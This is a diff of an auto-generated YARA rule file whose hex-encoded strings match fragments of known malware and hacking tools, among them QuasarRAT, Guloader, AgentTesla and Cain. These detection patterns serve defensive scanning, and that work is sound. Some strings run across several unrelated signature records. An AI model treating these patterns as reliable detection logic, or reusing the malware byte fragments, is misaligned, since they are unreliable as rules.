_InfrastructureShared_13946{ +rule _InfrastructureShared_14863{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -158589,7 +169204,7 @@ rule _InfrastructureShared_13946{ ((#a_54_0 & 1)*18467) >=2 } -rule _InfrastructureShared_13947{ +rule _InfrastructureShared_14864{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -158600,7 +169215,7 @@ rule _InfrastructureShared_13947{ ((#a_54_0 & 1)*18467+(#a_24_1 & 1)*-14592) >=2 } -rule _InfrastructureShared_13948{ +rule _InfrastructureShared_14865{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -158611,20 +169226,30 @@ rule _InfrastructureShared_13948{ ((#a_77_0 & 1)*19491+(#a_00_1 & 1)*110) >=2 } -rule _InfrastructureShared_13949{ +rule _InfrastructureShared_14866{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 04 00 21 " strings : $a_46_0 = {45 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 44 65 65 70 76 6f 69 63 65 2e 46 21 64 68 61 00 01 00 3e 01 64 00 6f 00 63 00 3b 00 64 00 6f 00 63 00 78 00 3b 00 70 00 70 00 74 00 3b 00 70 00 70 00 74 00 78 00 3b 00 78 00 6c 00 } //16675 $a_00_1 = {78 00 6c 00 73 00 78 00 3b 00 70 00 64 00 66 00 3b 00 01 00 07 01 66 69 6c 65 70 61 6b 01 00 33 03 8b 46 04 83 f8 2a 74 90 01 01 83 f8 39 74 90 01 01 83 f8 45 74 90 01 01 83 f8 } //115 - $a_01_2 = {01 83 f8 5b 74 90 01 01 83 f8 67 74 90 01 01 83 f8 71 74 90 00 01 00 17 03 d1 fe 85 db 7e 90 01 01 8b c7 99 f7 fe 8a 90 01 06 30 04 0f 47 90 00 00 00 78 cd 00 00 03 00 03 00 03 00 21 23 48 53 54 52 3a 47 72 61 6e 64 6f 72 65 69 72 6f 2e 42 00 01 00 7c 03 5b c3 8b c3 ba 90 01 04 e8 90 01 04 5b c3 8b c3 ba 90 01 04 e8 90 01 04 5b c3 8b c3 ba 90 01 04 e8 90 01 04 5b c3 8b c3 ba 90 01 04 e8 90 01 04 5b c3 8b c3 ba 90 01 04 e8 90 01 } //29769 - $a_8b_3 = {ba 90 01 04 e8 90 01 04 5b c3 8b c3 ba 90 01 04 e8 90 01 04 5b c3 8b c3 ba 90 01 04 e8 90 01 04 5b c3 8b c3 ba 90 01 04 e8 90 01 04 5b c3 8b c3 ba 90 01 04 e8 90 01 04 5b c3 90 00 01 00 10 00 b0 04 02 00 ff ff ff ff 01 00 00 00 24 00 00 00 01 00 18 00 b0 04 02 00 ff ff ff ff 05 00 00 00 25 00 31 00 2e 00 32 00 78 00 00 00 00 00 78 cd 00 00 03 00 03 00 03 00 21 23 48 53 54 52 3a 50 55 41 3a 57 69 6e 33 32 2f 4f 62 66 75 73 65 2e 50 52 21 41 4d 54 42 00 01 00 2d 81 01 68 74 74 70 73 3a 2f 2f 72 61 77 2e 67 69 74 68 75 62 75 73 65 72 63 6f 6e 74 65 6e 74 2e 63 6f 6d 2f 61 63 69 64 } //23300 + $a_01_2 = {01 83 f8 5b 74 90 01 01 83 f8 67 74 90 01 01 83 f8 71 74 90 00 01 00 17 03 d1 fe 85 db 7e 90 01 01 8b c7 99 f7 fe 8a 90 01 06 30 04 0f 47 90 00 00 00 78 cd 00 00 03 00 03 00 03 00 21 23 41 4c 46 3a 48 61 63 6b 54 6f 6f 6c 3a 4d 53 49 4c 2f 46 69 6c 65 55 70 6c 6f 61 64 65 72 2e 41 00 01 00 3c 01 5b 00 2a 00 5d 00 20 00 53 00 74 00 61 00 72 00 74 00 20 00 75 00 70 00 6c 00 6f 00 61 00 64 00 69 00 6e 00 67 00 20 00 7b 00 30 00 7d } //29769 condition: - ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*115+(#a_01_2 & 1)*29769+(#a_8b_3 & 1)*23300) >=2 + ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*115+(#a_01_2 & 1)*29769) >=2 } -rule _InfrastructureShared_13950{ +rule _InfrastructureShared_14867{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " + + strings : + $a_46_0 = {48 61 63 6b 54 6f 6f 6c 3a 4d 53 49 4c 2f 46 69 6c 65 55 70 6c 6f 61 64 65 72 2e 41 00 01 00 3c 01 5b 00 2a 00 5d 00 20 00 53 00 74 00 61 00 72 00 74 00 20 00 75 00 70 00 6c 00 6f 00 61 00 64 00 69 00 6e 00 67 00 20 00 7b 00 30 } //16675 + $a_00_2 = {6c 00 65 00 73 00 2e 00 01 00 2c 01 5b 00 21 00 5d 00 20 00 55 00 70 00 6c 00 6f 00 61 00 64 00 46 00 69 00 6c 00 65 00 73 00 20 00 45 00 72 00 72 00 6f 00 72 00 3a 00 01 00 2e 01 5b 00 2b 00 5d 00 20 00 7b 00 30 00 7d 00 20 00 2d 00 3e 00 20 00 7b 00 31 00 7d 00 20 00 28 00 7b 00 32 00 7d 00 20 00 6b 00 62 00 29 } //102 + condition: + ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*102) >=3 + +} +rule _InfrastructureShared_14868{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -158636,7 +169261,7 @@ rule _InfrastructureShared_13950{ ((#a_54_0 & 1)*18467+(#a_04_1 & 1)*-28486+(#a_5b_2 & 1)*400) >=3 } -rule _InfrastructureShared_13951{ +rule _InfrastructureShared_14869{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -158648,7 +169273,7 @@ rule _InfrastructureShared_13951{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*28525+(#a_00_2 & 1)*0) >=3 } -rule _InfrastructureShared_13952{ +rule _InfrastructureShared_14870{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -158660,7 +169285,7 @@ rule _InfrastructureShared_13952{ ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*10240+(#a_09_2 & 1)*518) >=3 } -rule _InfrastructureShared_13953{ +rule _InfrastructureShared_14871{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 02 00 21 " @@ -158671,18 +169296,29 @@ rule _InfrastructureShared_13953{ ((#a_46_0 & 1)*16675+(#a_b6_1 & 1)*257) >=4 } -rule _InfrastructureShared_13954{ +rule _InfrastructureShared_14872{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 02 00 21 " strings : $a_54_0 = {3a 46 61 6b 65 50 41 56 5f 6c 70 31 00 02 00 45 01 0f b7 1f 89 75 ec 43 b9 01 00 00 00 8b c3 99 f7 f9 89 c3 4b 33 5d f8 43 b9 01 00 00 00 8b c3 99 f7 f9 89 c3 4b 4b 8d 43 01 8b 55 ec 66 89 84 55 ea fb ff ff 46 83 c7 02 81 fe 00 02 00 00 75 c0 8d 45 } //18467 - $a_02_1 = {00 65 03 8b 45 fc 85 c0 74 16 8b d0 83 ea 0a 66 83 3a 02 74 0b 8d 45 fc 8b 55 fc e8 90 01 04 85 c0 74 05 83 e8 04 8b 00 48 89 45 f0 8b 5d f0 85 db 7c 34 43 33 f6 8d bd ea fb ff ff 8b 45 fc 85 c0 74 16 8b d0 83 ea 0a 66 83 3a 02 74 0b 8d 45 fc 8b 55 fc e8 90 01 04 0f b7 04 70 66 89 07 46 83 c7 02 4b 75 d5 90 00 00 00 78 cd 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 44 6f 77 6e 6c 6f 61 64 65 72 3a 57 69 6e 33 32 2f 53 70 79 63 6f 73 2e 54 00 01 00 1e 03 68 00 00 0a 00 6a 9c 6a 9c 6a 01 6a 01 6a 00 6a 00 a1 90 01 04 50 6a 00 8d 55 f4 b8 90 00 01 00 2f 01 c7 85 ac fc ff ff 44 00 00 00 c7 85 d8 fc ff ff 01 } //13308 + $a_02_1 = {00 65 03 8b 45 fc 85 c0 74 16 8b d0 83 ea 0a 66 83 3a 02 74 0b 8d 45 fc 8b 55 fc e8 90 01 04 85 c0 74 05 83 e8 04 8b 00 48 89 45 f0 8b 5d f0 85 db 7c 34 43 33 f6 8d bd ea fb ff ff 8b 45 fc 85 c0 74 16 8b d0 83 ea 0a 66 83 3a 02 74 0b 8d 45 fc 8b 55 fc e8 90 01 04 0f b7 04 70 66 89 07 46 83 c7 02 4b 75 d5 90 00 00 00 78 cd 00 00 04 00 04 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 51 75 61 73 61 72 52 41 54 2e 41 56 49 21 4d 54 42 00 02 00 4a 03 04 16 6a 6f 90 01 01 00 00 0a 07 16 73 83 00 00 0a 13 11 20 e8 03 00 00 13 12 11 12 28 90 01 01 00 00 06 25 26 13 14 11 11 11 14 16 11 12 6f 90 01 01 00 00 0a 25 } //13308 condition: ((#a_54_0 & 1)*18467+(#a_02_1 & 1)*13308) >=4 } -rule _InfrastructureShared_13955{ +rule _InfrastructureShared_14873{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 02 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 51 75 61 73 61 72 52 41 54 2e 41 56 49 21 4d 54 42 00 02 00 4a 03 04 16 6a 6f 90 01 01 00 00 0a 07 16 73 83 00 00 0a 13 11 20 e8 03 00 00 13 12 11 12 28 90 01 01 00 00 06 } //21539 + $a_14_1 = {11 11 14 16 11 12 6f 90 01 01 00 00 0a 25 26 13 13 11 13 } //9765 + condition: + ((#a_4c_0 & 1)*21539+(#a_14_1 & 1)*9765) >=4 + +} +rule _InfrastructureShared_14874{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -158694,7 +169330,7 @@ rule _InfrastructureShared_13955{ ((#a_54_0 & 1)*18467+(#a_ff_1 & 1)*-808+(#a_40_3 & 1)*-32440) >=4 } -rule _InfrastructureShared_13956{ +rule _InfrastructureShared_14875{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -158707,7 +169343,7 @@ rule _InfrastructureShared_13956{ ((#a_46_0 & 1)*21283+(#a_cb_1 & 1)*18464+(#a_6a_2 & 1)*18792+(#a_24_3 & 1)*-14580) >=4 } -rule _InfrastructureShared_13957{ +rule _InfrastructureShared_14876{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -158719,7 +169355,7 @@ rule _InfrastructureShared_13957{ ((#a_4c_0 & 1)*21539+(#a_08_1 & 1)*17545+(#a_44_3 & 1)*0) >=4 } -rule _InfrastructureShared_13958{ +rule _InfrastructureShared_14877{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -158731,7 +169367,7 @@ rule _InfrastructureShared_13958{ ((#a_6f_0 & 1)*21539+(#a_4d_1 & 1)*25445+(#a_54_3 & 1)*5632) >=4 } -rule _InfrastructureShared_13959{ +rule _InfrastructureShared_14878{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -158744,7 +169380,7 @@ rule _InfrastructureShared_13959{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*86+(#a_00_3 & 1)*84+(#a_00_4 & 1)*66) >=5 } -rule _InfrastructureShared_13960{ +rule _InfrastructureShared_14879{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -158756,7 +169392,7 @@ rule _InfrastructureShared_13960{ ((#a_54_0 & 1)*18467+(#a_72_1 & 1)*27756+(#a_00_4 & 1)*5) >=5 } -rule _InfrastructureShared_13961{ +rule _InfrastructureShared_14880{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -158768,22 +169404,50 @@ rule _InfrastructureShared_13961{ ((#a_54_0 & 1)*18467+(#a_6c_1 & 1)*25702+(#a_00_4 & 1)*6) >=5 } -rule _InfrastructureShared_13962{ +rule _InfrastructureShared_14881{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " strings : $a_46_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 44 6f 77 6e 64 6f 74 2e 43 21 64 68 61 00 01 00 10 01 d3 58 0b 16 25 17 32 33 25 0c 06 08 06 08 92 25 01 00 22 01 48 61 73 68 50 61 73 73 77 6f 72 64 46 6f 72 53 74 6f 72 69 6e 67 49 6e 43 6f } //16675 $a_67_1 = {69 6c 65 01 00 1f 01 43 6f 6d 70 69 6c 61 74 69 6f 6e 52 65 6c 61 78 61 74 69 6f 6e 73 41 74 74 72 69 62 75 74 65 01 00 1d 01 52 75 6e 74 69 6d 65 43 6f 6d 70 61 74 69 62 69 6c 69 74 79 41 74 74 72 69 62 75 74 65 01 00 0e 01 44 6f 77 6e 6c 6f 61 64 53 74 72 69 6e 67 01 00 11 01 47 65 74 53 79 73 74 65 6d 57 65 62 } //26222 - $a_78_2 = {00 00 78 cd 00 00 06 00 06 00 06 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 50 4f 42 31 32 33 21 4d 54 42 00 01 00 13 81 01 6f 72 64 73 74 79 72 65 72 20 6f 73 63 75 6c 61 74 65 73 01 00 1b 81 01 69 72 69 73 68 6d 65 6e 20 73 74 65 6e 62 65 64 65 6e 65 20 6a 75 64 64 65 72 73 01 00 15 81 01 74 6f 64 64 } //29264 - $a_6e_3 = {73 74 72 61 61 6c 65 72 20 72 73 65 01 00 1b 81 01 74 61 67 70 61 70 70 65 72 20 65 70 69 6b 69 61 20 65 6d 65 6e 64 61 74 69 6f 6e 01 00 12 81 01 6d 72 6b 65 20 73 6b 6a 65 72 6e 62 6f 20 6e 6f 67 73 01 00 15 81 01 6d 61 72 69 61 6e 6e 61 20 64 65 66 6c 6f 72 65 72 65 64 65 73 00 00 78 cd 00 00 06 00 } //28025 - $a_00_4 = {21 23 48 53 54 52 } //6 !#HSTR - $a_6e_5 = {32 2f 47 75 6c 6f 61 64 65 72 2e 4b 53 53 55 31 32 33 21 4d 54 42 00 01 00 09 81 01 62 69 6f 67 65 6e 69 65 73 01 00 20 81 01 64 69 66 66 75 73 69 6e 67 20 67 65 6e 6e 65 6d 73 6b 72 69 76 65 73 20 63 65 6e 74 65 72 65 72 01 00 13 81 01 70 6c 61 6e 74 61 72 69 75 6d 20 74 72 61 6d 70 69 73 6d 01 00 13 81 01 6d 79 } //22330 + $a_78_2 = {00 00 78 cd 00 00 06 00 06 00 06 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 47 4c 52 30 31 21 4d 54 42 00 01 00 30 81 01 50 79 72 72 68 6f 74 69 6e 65 5c 62 65 72 6f 6c 69 67 65 6c 73 65 73 5c 76 69 72 6b 73 6f 6d 68 65 64 73 6b 61 74 65 67 6f 72 69 65 72 6e 65 73 01 00 10 81 01 49 6e 76 65 6e 74 61 72 73 } //29264 + $a_2e_3 = {61 68 01 00 16 81 01 66 6a 65 72 6e 73 79 6e 73 74 65 6b 6e 69 6b 65 72 65 2e 62 72 6f 01 00 0d 81 01 69 6e 64 65 78 61 62 6c 65 2e 64 65 6c 01 00 13 81 01 61 6c 6b 6f 68 } //14385 + $a_73_4 = {72 65 64 65 73 2e 72 61 75 01 00 11 81 01 5c 64 69 73 62 65 6c 69 65 76 69 6e 67 2e 68 74 6d 00 00 78 cd 00 00 06 00 06 00 06 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 47 4c 5a 30 31 21 4d 54 42 00 01 00 27 81 01 75 6e 64 65 72 6c 69 67 67 65 72 65 6e 20 74 72 61 6e 73 6c 75 63 69 64 69 } //27759 + $a_6e_5 = {75 72 6f 6c 6f 67 69 73 6b 01 00 0f 81 01 6d 6f 64 70 6f 6c 65 6e 20 6a 69 6e 67 61 6c 01 00 0b } //31092 condition: - ((#a_46_0 & 1)*16675+(#a_67_1 & 1)*26222+(#a_78_2 & 1)*29264+(#a_6e_3 & 1)*28025+(#a_00_4 & 1)*6+(#a_6e_5 & 1)*22330) >=6 + ((#a_46_0 & 1)*16675+(#a_67_1 & 1)*26222+(#a_78_2 & 1)*29264+(#a_2e_3 & 1)*14385+(#a_73_4 & 1)*27759+(#a_6e_5 & 1)*31092) >=6 } -rule _InfrastructureShared_13963{ +rule _InfrastructureShared_14882{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " + + strings : + $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 47 4c 52 30 31 21 4d 54 42 00 01 00 30 81 01 50 79 72 72 68 6f 74 69 6e 65 5c 62 65 72 6f 6c 69 67 65 6c 73 65 73 5c 76 69 72 6b 73 6f 6d 68 65 64 73 6b 61 74 65 67 6f 72 69 65 72 6e 65 73 01 00 10 81 } //18467 + $a_76_1 = {6e 74 61 72 73 31 38 39 2e 6a 61 68 01 00 16 81 01 66 6a 65 72 6e 73 79 6e 73 74 65 6b 6e 69 6b 65 72 65 2e 62 72 6f 01 00 0d 81 01 69 6e 64 65 78 61 62 6c 65 2e 64 65 6c 01 00 13 81 01 61 6c 6b 6f 68 6f 6c 69 73 65 72 65 64 65 73 2e 72 61 75 01 00 11 81 01 5c 64 69 73 62 65 6c 69 65 76 69 6e 67 2e 68 74 6d 00 00 78 cd 00 00 06 } //18689 + $a_48_3 = {54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 47 4c 5a 30 31 21 4d 54 42 00 01 00 27 81 01 75 6e } //8448 + $a_6c_4 = {67 67 65 72 65 6e 20 74 72 61 6e 73 6c 75 63 69 64 69 74 79 20 6e 65 75 72 6f 6c 6f 67 69 73 6b 01 00 0f 81 01 6d 6f 64 70 6f 6c 65 6e 20 6a 69 6e 67 61 6c 01 00 0b 81 01 75 6e 64 65 72 6f 72 64 6e 65 74 01 00 16 81 01 61 6d 70 68 69 6f 78 69 64 61 65 20 6e 61 74 75 72 6c 6f 76 65 73 01 00 21 81 01 69 6e 65 71 75 69 63 6f 73 74 61 74 65 20 } //25956 + $a_65_5 = {74 70 75 6c 76 65 72 6e 65 73 2e 65 78 65 01 00 0f 81 01 73 76 65 73 6b 65 62 6c 6f 6d 6d 65 72 6e 65 00 00 78 cd 00 00 06 00 06 00 06 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 50 4f 42 31 32 33 21 4d 54 42 00 01 00 13 81 01 6f 72 64 73 74 79 72 65 72 20 6f 73 63 75 6c 61 74 65 73 01 00 1b 81 01 69 72 69 73 68 6d } //28265 + condition: + ((#a_54_0 & 1)*18467+(#a_76_1 & 1)*18689+(#a_48_3 & 1)*8448+(#a_6c_4 & 1)*25956+(#a_65_5 & 1)*28265) >=6 + +} +rule _InfrastructureShared_14883{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " + + strings : + $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 47 4c 5a 30 31 21 4d 54 42 00 01 00 27 81 01 75 6e 64 65 72 6c 69 67 67 65 72 65 6e 20 74 72 61 6e 73 6c 75 63 69 64 69 74 79 20 6e 65 75 72 6f 6c 6f 67 69 73 6b 01 00 0f 81 01 6d 6f 64 70 6f 6c 65 6e } //18467 + $a_6e_1 = {61 6c 01 00 0b 81 01 75 6e 64 65 72 6f 72 64 6e 65 74 01 00 16 81 01 61 6d 70 68 69 6f 78 69 64 61 65 20 6e 61 74 75 72 6c 6f 76 65 73 01 00 21 81 01 69 6e 65 71 75 69 63 6f 73 74 61 74 65 20 69 6e 73 65 6b 74 70 75 6c 76 65 72 6e 65 73 2e 65 78 65 01 00 0f 81 01 73 76 65 73 6b 65 62 6c 6f 6d 6d 65 72 6e 65 00 00 } //27168 + $a_00_3 = {06 00 21 23 48 53 } //6 + $a_57_4 = {6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 50 4f 42 31 32 33 21 4d 54 42 00 01 00 13 81 01 6f 72 64 73 74 79 72 65 72 20 6f 73 63 75 6c 61 74 65 73 01 00 1b 81 01 69 72 69 73 } //21076 + $a_6e_5 = {73 74 65 6e 62 65 64 65 6e 65 20 6a 75 64 64 65 72 73 01 00 15 81 01 74 6f 64 64 79 6d 65 6e 20 73 74 72 61 61 6c 65 72 20 72 73 65 01 00 1b 81 01 74 61 67 70 61 70 70 65 72 20 65 70 69 6b 69 61 20 65 6d 65 6e 64 61 74 69 6f 6e 01 00 12 81 01 6d 72 6b 65 20 73 6b 6a 65 72 6e 62 6f 20 6e 6f 67 73 01 00 } //28008 + condition: + ((#a_54_0 & 1)*18467+(#a_6e_1 & 1)*27168+(#a_00_3 & 1)*6+(#a_57_4 & 1)*21076+(#a_6e_5 & 1)*28008) >=6 + +} +rule _InfrastructureShared_14884{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -158796,7 +169460,7 @@ rule _InfrastructureShared_13963{ ((#a_54_0 & 1)*18467+(#a_64_2 & 1)*29697+(#a_54_3 & 1)*18467+(#a_61_4 & 1)*28673) >=6 } -rule _InfrastructureShared_13964{ +rule _InfrastructureShared_14885{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -158809,7 +169473,7 @@ rule _InfrastructureShared_13964{ ((#a_54_0 & 1)*18467+(#a_61_1 & 1)*28673+(#a_52_4 & 1)*21320+(#a_61_5 & 1)*29545) >=6 } -rule _InfrastructureShared_13965{ +rule _InfrastructureShared_14886{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -158823,7 +169487,7 @@ rule _InfrastructureShared_13965{ ((#a_54_0 & 1)*18467+(#a_73_1 & 1)*25709+(#a_00_3 & 1)*6+(#a_65_4 & 1)*24951+(#a_65_5 & 1)*30062) >=6 } -rule _InfrastructureShared_13966{ +rule _InfrastructureShared_14887{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 07 00 21 " @@ -158839,7 +169503,7 @@ rule _InfrastructureShared_13966{ ((#a_77_0 & 1)*16675+(#a_00_1 & 1)*114+(#a_70_2 & 1)*29697+(#a_65_3 & 1)*16687+(#a_74_4 & 1)*26469+(#a_6c_5 & 1)*12082+(#a_61_6 & 1)*29487) >=6 } -rule _InfrastructureShared_13967{ +rule _InfrastructureShared_14888{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 07 00 21 " @@ -158853,7 +169517,7 @@ rule _InfrastructureShared_13967{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*85+(#a_00_4 & 1)*111+(#a_6c_5 & 1)*25964+(#a_74_6 & 1)*28483) >=6 } -rule _InfrastructureShared_13968{ +rule _InfrastructureShared_14889{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 08 00 21 " @@ -158869,7 +169533,7 @@ rule _InfrastructureShared_13968{ ((#a_46_0 & 1)*16675+(#a_70_1 & 1)*25964+(#a_6f_2 & 1)*29808+(#a_61_3 & 1)*-32744+(#a_61_4 & 1)*26988+(#a_00_6 & 1)*7+(#a_6f_7 & 1)*21562) >=6 } -rule _InfrastructureShared_13969{ +rule _InfrastructureShared_14890{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 08 00 21 " @@ -158885,7 +169549,7 @@ rule _InfrastructureShared_13969{ ((#a_54_0 & 1)*18467+(#a_61_1 & 1)*-32744+(#a_61_2 & 1)*26988+(#a_00_4 & 1)*7+(#a_6f_5 & 1)*21562+(#a_4c_6 & 1)*384+(#a_52_7 & 1)*-32496) >=6 } -rule _InfrastructureShared_13970{ +rule _InfrastructureShared_14891{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -158894,43 +169558,30 @@ rule _InfrastructureShared_13970{ $a_75_1 = {44 61 74 61 62 61 73 65 44 61 74 61 53 65 74 2e 78 73 64 01 00 0a 80 01 53 74 72 52 65 76 65 72 73 65 01 00 05 80 01 72 4c 2e 51 61 01 00 0d 80 01 41 6c 74 69 75 6d 4d 61 6e 61 67 65 72 01 00 05 80 01 54 68 72 65 65 01 00 21 80 01 41 6c 74 69 75 6d 4d 61 6e 61 67 65 72 2e 50 6c 61 74 69 6e 69 75 6d 2e 72 65 73 6f } //29804 $a_65_2 = {00 00 78 cd 00 00 07 00 07 00 07 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 47 4c 48 30 31 21 4d 54 42 00 01 00 10 81 01 52 65 67 75 6c 61 74 6f 72 65 6e 73 2e 75 7a 62 01 00 10 81 01 62 6c 61 73 74 6f 63 6f 65 6c 69 63 2e 75 64 68 01 00 16 81 01 72 6f 6e 64 6c 65 5c 6b } //29301 $a_65_3 = {6b 61 74 74 65 72 6e 65 5c 01 00 1c 81 01 5c 67 6c 79 63 65 72 6f 73 65 5c 55 6e 73 6f 6c 76 61 62 69 6c 69 74 79 2e 61 62 73 01 00 15 81 01 72 6f 6e 64 6c 65 5c 6b 69 6c 64 65 73 6b 61 74 74 65 72 6e 65 01 00 0d 81 01 62 72 61 63 74 65 6f 6c 65 2e 6a 70 67 01 00 0e 81 01 41 66 68 6e 64 65 72 6e 65 } //27753 - $a_70_4 = {00 00 78 cd 00 00 08 00 08 00 05 00 21 23 41 4c 46 50 45 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 53 6b 6f 70 70 79 2e 42 21 64 68 61 00 02 00 11 01 5c 5c 2e 5c 56 42 6f 78 4d 69 6e 69 52 64 72 44 4e 02 00 22 01 53 4f 46 54 57 41 52 45 5c 56 4d 77 61 72 65 2c 20 49 6e 63 2e 5c 56 4d 77 61 72 65 20 54 6f 6f 6c 73 } //11891 - $a_01_5 = {63 6f 5f 73 79 73 5f 63 6f 5f } //4 co_sys_co_ - $a_01_6 = {25 73 5c 6d 69 63 72 6f 2e 6c 6f 67 2e 7a 69 70 } //4 %s\micro.log.zip + $a_70_4 = {00 00 78 cd 00 00 08 00 08 00 07 00 21 23 48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 33 32 2f 43 61 69 6e 21 64 68 61 00 02 00 11 01 53 65 6c 66 2d 52 65 67 69 73 74 65 72 3a 20 25 73 02 00 09 01 43 61 69 6e 20 76 32 2e 30 02 00 18 01 25 4d 41 49 4e 44 49 52 25 5c 41 62 65 6c 4b 69 6c 6c 65 72 2e 65 78 65 02 00 19 01 25 4d } //11891 + $a_44_5 = {52 25 5c 44 72 76 5c 7a 70 61 63 6b 65 74 2e 76 78 64 02 00 12 01 55 73 65 72 20 52 69 67 68 74 73 3a 20 41 64 6d 69 6e 02 00 12 01 25 4d 41 49 4e 44 49 52 25 5c 43 61 69 6e 2e 65 78 65 02 00 20 01 25 4d 41 49 4e 44 49 52 25 5c 57 6f } //18753 + $a_69_6 = {74 73 5c 57 6f 72 64 6c 69 73 74 2e 74 78 74 00 00 78 cd 00 00 08 00 08 00 08 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 4d 4d 57 30 30 38 21 4d 54 42 00 01 00 0b 81 01 45 78 69 6c 65 4c 6f 61 64 65 72 01 00 09 81 01 59 35 74 46 76 55 38 45 59 01 00 25 81 01 24 64 36 30 } //25714 condition: - ((#a_46_0 & 1)*16675+(#a_75_1 & 1)*29804+(#a_65_2 & 1)*29301+(#a_65_3 & 1)*27753+(#a_70_4 & 1)*11891+(#a_01_5 & 1)*4+(#a_01_6 & 1)*4) >=7 + ((#a_46_0 & 1)*16675+(#a_75_1 & 1)*29804+(#a_65_2 & 1)*29301+(#a_65_3 & 1)*27753+(#a_70_4 & 1)*11891+(#a_44_5 & 1)*18753+(#a_69_6 & 1)*25714) >=7 } -rule _InfrastructureShared_13971{ +rule _InfrastructureShared_14892{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " strings : $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 47 4c 48 30 31 21 4d 54 42 00 01 00 10 81 01 52 65 67 75 6c 61 74 6f 72 65 6e 73 2e 75 7a 62 01 00 10 81 01 62 6c 61 73 74 6f 63 6f 65 6c 69 63 2e 75 64 68 01 00 16 81 01 72 6f 6e 64 6c 65 5c 6b 69 6c } //18467 - $a_6b_1 = {74 74 65 72 6e 65 5c 01 00 1c 81 01 5c 67 6c 79 63 65 72 6f 73 65 5c 55 6e 73 6f 6c 76 61 62 69 6c 69 74 79 2e 61 62 73 01 00 15 81 01 72 6f 6e 